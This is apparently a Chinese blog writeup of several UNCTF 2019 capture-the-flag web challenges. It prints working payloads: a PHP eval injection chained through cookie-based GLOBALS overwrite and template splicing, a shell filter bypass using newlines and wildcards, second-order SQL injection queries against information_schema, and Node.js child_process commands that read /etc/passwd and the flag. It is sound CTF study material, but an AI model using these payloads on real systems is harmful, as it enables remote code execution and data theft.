unctf writeup

unctf2019

审计一下世界上最好的语言(代码审计)

看一下源码,文件命令如下,flag在flag.php里。是海洋cms,这个cms解析模版,会调用eval,之前爆cve

bbcode_parse.php
common.php
index.php
parse_template.php
template.html
flag.php

调用链

在parse_template.php的parseIf()函数里有eval,这是最终目标,再追踪一下调用。

parse_again()调用了,这里两个全局变量,$template_html获得html的值,再看看$searchword的调用

//parse_template.php
$template_html = file_get_contents("template.html");
...
function parseIf($content){
    if (strpos($content,'{if:')=== false){
            return $content;
    }else{
        $Rule = "/{if:(.*?)}(.*?){end if}/is";
        preg_match_all($Rule,$content,$iar);
        $arlen=count($iar[0]);
        $elseIfFlag=false;
        for($m=0;$m<$arlen;$m++){
            $strIf=$iar[1][$m];
            $strIf=parseStrIf($strIf);
            @eval("if(".$strIf.") { \$ifFlag=true;} else{ \$ifFlag=false;}");
        }
    }
    return $content;
}
function parse_again(){
    global $template_html,$searchword;
    $searchnum     = isset($GLOBALS['searchnum'])?$GLOBALS['searchnum']:"";
    $type         = isset($GLOBALS['type'])?$GLOBALS['type']:"";
    $typename     = isset($GLOBALS['typename'])?$GLOBALS['typename']:"";


    $searchword = substr(RemoveXSS($searchword),0,20);
    $searchnum = substr(RemoveXSS($searchnum),0,20);
    $type = substr(RemoveXSS($type),0,20);
    $typename = substr(RemoveXSS($typename),0,20);
    $template_html = str_replace("{haha:searchword}",$searchword,$template_html);
    $template_html = str_replace("{haha:searchnum}",$searchnum,$template_html);
    $template_html = str_replace("{haha:type}",$type,$template_html);
    $template_html = str_replace("{haha:typename}",$typename,$template_html);
    $template_html = parseIf($template_html);
    return $template_html;
}

在index.php里调用了parse_again(),全局变量$searchword是从$c中匹配的,$c是从外部传入的。

//index.php
$c = parse_code(isset($GLOBALS['GLOBALS']['content'])?$GLOBALS['GLOBALS']['content']:"[b]hahha[/b]");

// 清除一些不必要的标签,方便判断 search 是否是独立出来的 html 标签
$c = preg_replace("/<em>.*?<\/em>/","",$c);
$c = preg_replace("/<b>.*?<\/b>/","",$c);
$c = preg_replace("/<video src='.*?'><\/video>/","",$c);
$c = preg_replace("/<a href='.*?'>/","",$c);

// search 必须是独立出来的标签哦~
$n = preg_match_all("/<search>(.*?)<\/search>/",$c,$searchword);
$searchnum=2;
if ($n>0) {
    $searchword = $searchword[1][0];
    if (strlen($searchword)>0){
        parse_again($searchword);
    }else{
        exit("searchword!!");
    }
}else{
    exit("input your searchword~");
}

调用逻辑

传入$c , $searchword

c的值为$GLOBALS['GLOBALS']['content'],在common.php里有对传入参数的限制

function check_var($arr){
    $deny = array("_GET","_POST","GLOBALS");
    foreach ($arr as $key => $value) {
        if (in_array($key,$deny)){
            exit("no no no");
        }
    }
}

check_var($_GET);
check_var($_POST);
check_var($_COOKIE);

foreach (['_GET','_POST','_COOKIE'] as $v) {
    foreach ($$v as $key => $value) {
        $$key = $value;
    }
}

最后的foreach循环会将key值变成变量名,再将数组内容赋值给该变量

check_var()限制了传进去的数组中key值不能是_GET _POST _GLOBALS 这三个值,但是这里没有过滤 _COOKIE

//index.php
$c = parse_code(isset($GLOBALS['GLOBALS']['content'])?$GLOBALS['GLOBALS']['content']:"[b]hahha[/b]");
...
// search 必须是独立出来的标签哦~
$n = preg_match_all("/<search>(.*?)<\/search>/",$c,$searchword);

$searchword是从$c匹配<search>(.*?)</search>提取出来的

get方法传入$c变量
?_COOKIE[GLOBALS][GLOBALS][content]=<search>xxx</search>

parseIf()函数

$Rule = "/{if:(.*?)}(.*?){end if}/is";
preg_match_all($Rule,$content,$iar);
$arlen=count($iar[0]);
$elseIfFlag=false;
for($m=0;$m<$arlen;$m++){
$strIf=$iar[1][$m];
$strIf=parseStrIf($strIf);
@eval("if(".$strIf.") { \$ifFlag=true;} else{ \$ifFlag=false;}");
}

将html的内容匹配"{if:(.*?)}(.*?){end if}/is ,内容将if部分提取出来,进行eval

类似{if:phpinfo()}1234{end if}就可以执行函数

parse_again()函数

global $template_html,$searchword;
$searchnum     = isset($GLOBALS['searchnum'])?$GLOBALS['searchnum']:"";
$type         = isset($GLOBALS['type'])?$GLOBALS['type']:"";
$typename     = isset($GLOBALS['typename'])?$GLOBALS['typename']:"";
$template_html = str_replace("{haha:searchword}",$searchword,$template_html);
$template_html = str_replace("{haha:searchnum}",$searchnum,$template_html);
$template_html = str_replace("{haha:type}",$type,$template_html);
$template_html = str_replace("{haha:typename}",$typename,$template_html);

有$searchnum $type $typename 都可控

将html内容里{haha:xxx}部分内容替换成对应的值

这样尝试给$searchword传入{if:phpinfo()}1234{end if},但是有RemoveXSS()函数限制,又截断了20位

RemoveXSS()

限制了if:和其他_GET','_POST','_COOKIE','_REQUEST','system'等危险函数

####最后的payload

通过其他可控变量$searchword内容为{if{haha:searchnum}},$searchnum再传入其他字符拼接,绕过限制

{if:eval($_GET[1])}

?_COOKIE[GLOBALS][GLOBALS][content]=<search>{if{haha:searchnum}}</search>&_COOKIE[GLOBALS][searchnum]=:eva{haha:type}&_COOKIE[GLOBALS][type]=l($_G{haha:typename}&_COOKIE[GLOBALS][typename]=ET[1])&1=phpinfo();

改进

1 只匹配[b] [url] [em] [video]标签

preg_match_all('/\[em\](.*?)\[\/em\]|\[b\](.*?)\[\/b\]|\[video\](.*?)\[\/video\]|\[url\](.*?)\[\/url\]/',$content,$content2);
$content=implode($content2[0]);

2 清除一些这些不必要的标签

parse_code()函数

对[b] [url] [em] [video]标签进行特殊处理,并对内容htmlentities转义标签,限制<search>

$c = parse_code(isset($GLOBALS['GLOBALS']['content'])?$GLOBALS['GLOBALS']['content']:"[b]hahha[/b]");

function parse_code($content){
    global $tag_parse_func;
    foreach ($tag_parse_func as $func) {
        $content = $func($content);
    }
    return $content;
}
$tag_parse_func = [
'b_tag_decode', 
'em_tag_decode',
'video_tag_decode',
'url_tag_decode',
];

b_tag_decode函数

[b]xxx[/b] => <b>xxx</b>

video_tag_decode函数

[video]http://www.youtube.com?V=123[/video] 变成 <video src='https://www.youtube.com/embed/123'></video>

url_tag_decode函数 ,href部分没有被htmlentities

[url]xxx[url] => <a href='xxx'>xxx</a>
function url_tag_decode($code){
    // $code = htmlentities($code);
    return preg_replace_callback(
        "/\[url\](.+)\[\/url\]/", 
        function($a){
            $a[1] = str_replace("'","",$a[1]);
            $a[1] = str_replace("javascript:","",$a[1]);
            return "<a href='$a[1]'>".htmlentities($a[1])."</a>";
        }, 
        $code);

    return $code;
}

video 解析,然后再 url解析。那么如果我们的 video传进的是:

[video]http://www.youtube.com?v=[url]1234[/url][/video]

先解析成

<video src='https://www.youtube.com/embed/[url]1234[/url]></video>

再解析成

<video src='https://www.youtube.com/embed/<a href='1234'>1234</a>'></video>

将1234替换成></video><search>haha</search>

最后数据就解析成这样,成功逃逸

<video src='https://www.youtube.com/embed/<a href='></video><search>haha</search>

测试payload

?_COOKIE[GLOBALS][GLOBALS][content]=[video]http://www.youtube.com?v=[url]></video><search>xxx</search>[/url][/video]

_COOKIE[GLOBALS][GLOBALS][content]=[video]http://www.youtube.com?v=[url]></video><search>{if{haha:searchnum}}</search>[/url][/video]&_COOKIE[GLOBALS][searchnum]=:eva{haha:type}&_COOKIE[GLOBALS][type]=l($_G{haha:typename}&_COOKIE[GLOBALS][typename]=ET[1])&1=phpinfo();

bypass(命令执行)

<?php
    highlight_file(__FILE__);
    $a = $_GET['a'];
    $b = $_GET['b'];
 // try bypass it
    if (preg_match("/\'|\"|,|;|\`|\\|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $a))
        $a = "";
        $a ='"' . $a . '"';
    if (preg_match("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $b))
        $b = "";
        $b = '"' . $b . '"';
     $cmd = "file $a $b";
      str_replace(" ","","$cmd"); 
     system($cmd);
?>

###法1

a=\&b=\来逃脱引号 通过file命令读取文件

file "\" " ???? \"
"\" "
????
\"
三个部分

用?来匹配,但是隐藏文件是无法显示的要自己在前面加一个.

file "\" -f " \"

###法2

通过a=&b=%0a{cmd}%20%23 用%0a换行 来执行命令 但由于过滤了许多命令只能去匹配

?a=\&b=%0a/???/l[r-t]%20-all%20%23 => /bin/ls -all


a=\$b=%0a/???/gr[d-f]p+-r+.+.+%23 => /bin/grep -r . .

最后在http://101.71.29.5:10054/.F1jh_/h3R3_1S_your_F1A9.txt里找到flag

unctf{86dfe85d7c5842c5c04adae104193ee1}

NSB RESET PASSWORD

reset1提交重置账号:设置name=post账号 check=随机验证码 (if(name==sesion[‘name’])当前账号名 则发送验证码,)

reset2:check==post验证码 验证校验码正确 就设置sign=true

reset3:判断sign是否为true 给name账号改密码权限 改完就把sign设为false

解法
当第一次改密码把sign设为true 不改密码 第二次name=admin 再改密码

flag{175f3098f80735ddfdfbd4588f6b1082}

inject twice(sql注入)

题目是sql-lab的源码

二次注入点

if (isset($_POST['submit']))
{


    # Validating the user input........
    $username= $_SESSION["username"];
    $curr_pass= mysql_real_escape_string($_POST['current_password']);
    $pass= mysql_real_escape_string($_POST['password']);
    $re_pass= mysql_real_escape_string($_POST['re_password']);

    if($pass==$re_pass)
    {    
        $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
        $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
        $row = mysql_affected_rows();
        echo '<font size="3" color="#FFFF00">';
        echo '<center>';
        if($row==1)
        {
            echo "Password successfully updated";

        }
        else
        {
            header('Location: failed.php');
            //echo 'You tried to be smart, Try harder!!!! :( ';
        }
    }
    else
    {
        echo '<font size="5" color="#FFFF00"><center>';
        echo "Make sure New Password and Retype Password fields have same value";
        header('refresh:2, url=index.php');
    }
}
?>

但是得到admin账号后,并没有得到flag,估计要把数据库给溜一圈。

黑名单:or,

注册一个hello\的账号,就可以用,currentpass来注入,但是环境炸了,我sleep了一下就奇奇怪怪了

//////////////???????????????????

currentpass=/**/or/**/1-- a

数据库名or (SELECT substr(hex(group_concat(schema_name)),1,1) FROM information_schema.schemata)=char(54)-- a

information_schema,metinfo,mysql,performance_schema,security,sys

表:

GROUP_CONCAT(table_name) FROM information_schema.tables WHERE TABLE_SCHEMA=database()

security:emails,fl4g,referers,uagents,users

列名

fl4g:f1ag

最后的flagUNCTF{585ae8df50433972bb6ebd76e3ebd9f4}

checkin (nodejs注入)

又是一个vue应用

image.png

打开靶机,发现是一个websocket的js网站,/js/app.03bc1faf.js中可以看到源码

审计源码,需要我们先输入/name nickname来进行登陆,登陆后发现可以执行一个calc操作

执行/calc 5*6 发现返回30,猜测这里存在命令执行,参考:Node.js代码审计之eval远程命令执行漏洞

后端是node.js version: v10.12.0

使用fs模块读取文件

res.end(require('fs').readFileSync('/etc/passwd').toString())

require('fs').readdirSync.('/etc/passwd').toString()

调用child_process模块执行命令,题目过滤了空格,用$IFS替代

执行ls:
/calc require("child_process").execSync("ls$IFS/").toString()
cat flag:
/calc require("child_process").execSync("cat$IFS/flag").toString()

文章作者: hh
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 hh !
  目录